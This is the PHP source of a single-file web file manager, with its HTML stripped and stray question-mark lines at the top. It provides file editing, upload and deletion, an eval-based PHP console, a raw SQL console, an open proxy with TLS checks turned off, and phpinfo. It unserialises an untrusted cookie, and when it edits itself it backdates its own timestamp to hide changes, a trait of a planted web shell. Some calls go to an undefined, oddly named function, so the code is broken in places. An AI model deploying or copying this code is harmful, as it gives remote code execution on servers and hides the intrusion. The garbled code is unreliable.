??????????????
??????????????
true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false,
//if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false,
// show path to current php.ini
'show_gt' => true,
// show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) {
$fm_config = $fm_default_config;
} else {
$fm_config = unserialize($_COOKIE['fm_config']);
}
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']);
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) {
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)) {
foreach ($lang_priority as $lang_arr) {
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if (in_array($lng, $langs)) {
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang'];
//translation
function __($text)
{
global $lang;
if (isset($lang[$text])) {
return $lang[$text];
} else {
return $text;
}
}
//delete files and dirs recursively
function fm_del_files($file, $recursive = false)
{
if ($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if ($el != '.' && $el != '..') {
fm_del_files($file . '/' . $el, true);
}
}
}
if (@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false)
{
$perms = fileperms($file);
$info = '';
if (!$if) {
if (($perms & 0xc000) == 0xc000) {
//Socket
$info = 's';
} elseif (($perms & 0xa000) == 0xa000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= $perms & 0x100 ? 'r' : '-';
$info .= $perms & 0x80 ? 'w' : '-';
$info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
//Group
$info .= $perms & 0x20 ? 'r' : '-';
$info .= $perms & 0x10 ? 'w' : '-';
$info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
//World
$info .= $perms & 0x4 ? 'r' : '-';
$info .= $perms & 0x2 ? 'w' : '-';
$info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
return $info;
}
function fm_convert_rights($mode)
{
$mode = str_pad($mode, 9, '-');
$trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
$mode = strtr($mode, $trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false)
{
$res = @chmod(realpath($file), $val);
if (@is_dir($file) && $rec) {
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name)
{
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush();
// this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush();
// this is essential for large downloads
}
fclose($fp);
die;
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die;
}
}
}
//show folder size
function fm_dir_size($f, $format = true)
{
if ($format) {
$size = fm_dir_size($f, false);
if ($size <= 1024) {
return $size . ' bytes';
} elseif ($size <= 1024 * 1024) {
return round($size / 1024, 2) . ' Kb';
} elseif ($size <= 1024 * 1024 * 1024) {
return round($size / (1024 * 1024), 2) . ' Mb';
} elseif ($size <= 1024 * 1024 * 1024 * 1024) {
return round($size / (1024 * 1024 * 1024), 2) . ' Gb';
} elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) {
return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb';
} else {
return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb';
}
// ;-)
} else {
if (is_file($f)) {
return filesize($f);
}
$size = 0;
$dh = opendir($f);
while (($file = readdir($dh)) !== false) {
if ($file == '.' || $file == '..') {
continue;
}
if (is_file($f . '/' . $file)) {
$size += filesize($f . '/' . $file);
} else {
$size += fm_dir_size($f . '/' . $file, false);
}
}
closedir($dh);
return $size + filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false)
{
$dir = $ndir = array();
if (!empty($exp)) {
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if (!empty($type) && $type !== 'all') {
$func = 'is_' . $type;
}
if (@is_dir($directory)) {
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if (substr($filename, 0, 1) != '.' || $do_not_filter) {
if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) {
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get, $link, $name, $title = '')
{
if (empty($title)) {
$title = $name . ' ' . basename($link);
}
return ' ' . $name . '';
}
function fm_arr_to_option($arr, $n, $sel = '')
{
foreach ($arr as $v) {
$b = $v[$n];
$res .= '';
}
return $res;
}
function fm_lang_form($current = 'en')
{
return '
';
}
function fm_root($dirname)
{
return $dirname == '.' or $dirname == '..';
}
function fm_php($string)
{
$display_errors = ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect()
{
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query)
{
global $fm_config;
$query = trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection, $query);
if ($queried === false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if (!empty($queried)) {
while ($row = mysqli_fetch_assoc($queried)) {
$query_result[] = $row;
}
}
$vdump = empty($query_result) ? '' : var_export($query_result, true);
ob_end_clean();
$connection->close();
return '' . stripslashes($vdump) . '
';
}
}
function fm_backup_tables($tables = '*', $full_backup = true)
{
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if ($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while ($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',', $tables);
}
$return = '';
foreach ($tables as $table) {
$result = $mysqldb->query('SELECT * FROM ' . $table);
$num_fields = mysqli_num_fields($result);
$return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table));
$return .= $row2[1] . $delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while ($row = mysqli_fetch_row($result)) {
$return .= 'INSERT INTO `' . $table . '` VALUES(';
for ($j = 0; $j < $num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n", "\\n", $row[$j]);
if (isset($row[$j])) {
$return .= '"' . $row[$j] . '"';
} else {
$return .= '""';
}
if ($j < $num_fields - 1) {
$return .= ',';
}
}
$return .= ')' . $delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return);
}
$return .= "\n\n\n";
}
//save file
$file = gmdate("Y-m-d_H-i-s", time()) . '.sql';
$handle = fopen($file, 'w+');
fwrite($handle, $return);
fclose($handle);
$alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' ' . __('Delete') . '';
}
function fm_restore_tables($sqlFileToExecute)
{
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute, "r+");
$sqlFile = fread($f, filesize($sqlFileToExecute));
$sqlArray = explode($delimiter, $sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt) > 3) {
$result = $mysqldb->query($stmt);
if (!$result) {
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) {
return __('Success') . ' — ' . $sqlFileToExecute;
} else {
return $sqlErrorText . '
' . $stmt;
}
}
function fm_img_link($filename)
{
return './' . basename(__FILE__) . '?img=' . base64_encode($filename);
}
function fm_home_style()
{
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name, $value)
{
global $fm_config;
return ' | |
';
}
function fm_protocol()
{
if (isset($_SERVER['HTTP_SCHEME'])) {
return $_SERVER['HTTP_SCHEME'] . '://';
}
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
return 'https://';
}
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
return 'https://';
}
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {
return 'https://';
}
return 'http://';
}
function fm_site_url()
{
return fm_protocol() . $_SERVER['HTTP_HOST'];
}
function fm_url($full = false)
{
$host = $full ? fm_site_url() : '.';
return $host . '/' . basename(__FILE__);
}
function fm_home($full = false)
{
return ' ';
}
function fm_run_input($lng)
{
global $fm_config;
$return = !empty($fm_config['enable_' . $lng . '_console']) ? '
' : '';
return $return;
}
function fm_url_proxy($matches)
{
$link = str_replace('&', '&', $matches[2]);
$url = isset($_GET['url']) ? $_GET['url'] : '';
$parse_url = parse_url($url);
$host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/';
if (substr($link, 0, 2) == '//') {
$link = substr_replace($link, fm_protocol(), 0, 2);
} elseif (substr($link, 0, 1) == '/') {
$link = substr_replace($link, $host, 0, 1);
} elseif (substr($link, 0, 2) == './') {
$link = substr_replace($link, $host, 0, 2);
} elseif (substr($link, 0, 4) == 'http') {
//alles machen wunderschon
} else {
$link = $host . $link;
}
if ($matches[1] == 'href' && !strripos($link, 'css')) {
$base = fm_site_url() . '/' . basename(__FILE__);
$baseq = $base . '?proxy=true&url=';
$link = $baseq . urlencode($link);
} elseif (strripos($link, 'css')) {
//как-то тоже подменять надо
}
return $matches[1] . '="' . $link . '"';
}
function fm_tpl_form($lng_tpl)
{
global ${$lng_tpl . '_templates'};
$tpl_arr = json_decode(${$lng_tpl . '_templates'}, true);
$str = '';
foreach ($tpl_arr as $ktpl => $vtpl) {
$str .= ' | |
';
}
return '
| ' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . ' |
';
}
function find_text_in_files($dir, $mask, $text)
{
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])) {
if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) {
setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']);
$_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) {
echo '
';
die;
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']);
header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']);
header('Location: ' . fm_url() . '?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']);
$_COOKIE['fm_config'] = serialize($fm_config);
$msg_ntimes = __('Settings') . ' ' . __('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) {
$_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
}
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_ntimes .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) {
$msg_ntimes .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login'];
}
if ($_POST['fm_login']['password'] != $auth['password']) {
$msg_ntimes .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password'];
}
$auth = $_POST['fm_login'];
} else {
$msg_ntimes .= __('Error occurred');
}
if (!empty($fm_config['fm_restore_time'])) {
touch(__FILE__, $filemtime);
}
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl . '_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl . '_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl . '_templates'} = $fm_php;
$msg_ntimes .= __('File updated');
} else {
$msg_ntimes .= __('Error occurred');
}
if (!empty($fm_config['fm_restore_time'])) {
touch(__FILE__, $filemtime);
}
}
} else {
$msg_ntimes .= __('Error occurred');
}
}
}
// Just show image
if (isset($_GET['img'])) {
$file = base64_decode($_GET['img']);
if ($info = getimagesize($file)) {
switch ($info[2]) {
//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1:
$ext = 'gif';
break;
case 2:
$ext = 'jpeg';
break;
case 3:
$ext = 'png';
break;
case 6:
$ext = 'bmp';
break;
default:
die;
}
header("Content-type: image/{$ext}");
echo file_get_contents($file);
die;
}
}
// Just download file
if (isset($_GET['download'])) {
$file = base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die;
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) {
$url = isset($_GET['url']) ? urldecode($_GET['url']) : '';
$proxy_form = '
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%()%i', '$1' . '' . $proxy_form, $result);
echo $result;
die;
}
}
?>
FileXXXXXXXXXXX
';
echo fm_tpl_form('php'), fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
' . strtoupper($res_lng) . ' ' . __('Result') . '' . $fun($res) . '
';
}
} elseif (!empty($_REQUEST['edit'])) {
if (!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) {
$msg_ntimes .= __('File updated');
} else {
$msg_ntimes .= __('Error occurred');
}
if ($_GET['edit'] == basename(__FILE__)) {
touch(__FILE__, 1415116371);
} else {
if (!empty($fm_config['restore_time'])) {
touch($fn, $filemtime);
}
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
';
foreach ($search_data as $filename) {
$msg_ntimes .= '' . basename($filename) . ' ';
}
} else {
$msg_ntimes .= __('Nothing founded');
}
} elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) {
if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) {
$msg_ntimes .= __('Error occurred');
} else {
fclose($fp);
$msg_ntimes .= __('Created') . ' ' . $_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source) . '.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination)) {
$msg_ntimes .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . rangkhwampanithan('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' ' . __('Delete') . '';
} else {
$msg_ntimes .= __('Error occurred') . ': ' . __('no khumfail');
}
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source . '.tar';
$destination = basename($source) . '.tar';
if (is_file($archive)) {
unlink($archive);
}
if (is_file($archive . '.gz')) {
unlink($archive . '.gz');
}
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ, '.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive . '.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . rangkhwampanithan('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' ' . __('Delete') . '';
} else {
$msg_ntimes .= __('Error occurred') . ': ' . __('no khumfail');
}
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source . '.tar';
$destination = basename($source) . '.tar';
if (is_file($archive)) {
unlink($archive);
}
if (is_file($archive . '.gz')) {
unlink($archive . '.gz');
}
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.', basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext = implode('.', $ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ, $ext . '.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive . '.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . rangkhwampanithan('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' ' . __('Delete') . '';
} else {
$msg_ntimes .= __('Error occurred') . ': ' . __('no khumfail');
}
}
?>
| |
|
|
|
|
' . $file . '';
$loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file);
$arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file);
$style = 'row2';
if (!fm_root($file)) {
$alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
} else {
$alert = '';
}
} else {
$link = $fm_config['show_img'] && @getimagesize($filename) ? ' ' . $file . '' : ' ' . $file . '';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file);
$arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '' . __('Delete') . '';
$renamelink = fm_root($file) ? '' : '' . __('Rename') . '';
$rightstext = $file == '.' || $file == '..' ? '' : '' . @fm_rights_string($filename) . '';
?>
|
|
|
|
|
|
|
|
Github |
.';
if (!empty($fm_config['show_php_ver'])) {
echo ' | PHP ' . phpversion();
}
if (!empty($fm_config['show_php_ini'])) {
echo ' | ' . php_ini_loaded_file();
}
if (!empty($fm_config['show_gt'])) {
echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2);
}
if (!empty($fm_config['enable_proxy'])) {
echo ' |
proxy';
}
if (!empty($fm_config['show_phpinfo'])) {
echo ' |
phpinfo';
}
if (!empty($fm_config['show_xls']) && !empty($link)) {
echo ' |
xls';
}
if (!empty($fm_config['fm_settings'])) {
echo ' |
' . __('Settings') . '';
}
?>
errors)) {
$this->errors = array();
}
}
function createArchive($file_list)
{
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) {
$newArchive = false;
} else {
$newArchive = true;
}
if ($newArchive) {
if (!$this->openWrite()) {
return false;
}
} else {
if (filesize($this->archive_name) == 0) {
return $this->openWrite();
}
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name . '.tmp')) {
$this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name . '.tmp', 'rb');
if (!$tmpArchive) {
$this->errors[] = $this->archive_name . '.tmp ' . __('is not readable');
rename($this->archive_name . '.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()) {
rename($this->archive_name . '.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)) {
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
} while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name . '.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) {
return false;
}
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list) > 0) {
$result = $this->packFileArray($file_list);
}
} else {
$this->errors[] = __('No file') . __(' to ') . __('Archive');
}
if ($result && is_resource($this->tmp_file)) {
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result) {
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path)
{
$fileName = $this->archive_name;
if (!$this->isGzipped) {
if (file_exists($fileName)) {
if ($fp = fopen($fileName, 'rb')) {
$data = fread($fp, 2);
fclose($fp);
if ($data == '\\37\\213') {
$this->isGzipped = true;
}
}
} elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') {
$this->isGzipped = true;
}
}
$result = true;
if ($this->isGzipped) {
$this->tmp_file = gzopen($fileName, 'rb');
} else {
$this->tmp_file = fopen($fileName, 'rb');
}
if (!$this->tmp_file) {
$this->errors[] = $fileName . ' ' . __('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors($message = '')
{
$Errors = $this->errors;
if (count($Errors) > 0) {
if (!empty($message)) {
$message = ' (' . $message . ')';
}
$message = __('Error occurred') . $message . ':
';
foreach ($Errors as $value) {
$message .= $value . '
';
}
return $message;
} else {
return '';
}
}
function packFileArray($file_array)
{
$result = true;
if (!$this->tmp_file) {
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array) <= 0) {
return true;
}
for ($i = 0; $i < count($file_array); $i++) {
$filename = $file_array[$i];
if ($filename == $this->archive_name) {
continue;
}
if (strlen($filename) <= 0) {
continue;
}
if (!file_exists($filename)) {
$this->errors[] = __('No file') . ' ' . $filename;
continue;
}
if (!$this->tmp_file) {
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename) <= 0) {
$this->errors[] = __('Filename') . ' ' . __('is incorrect');
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)) {
if (($file = fopen($filename, 'rb')) == 0) {
$this->errors[] = __('Mode ') . __('is incorrect');
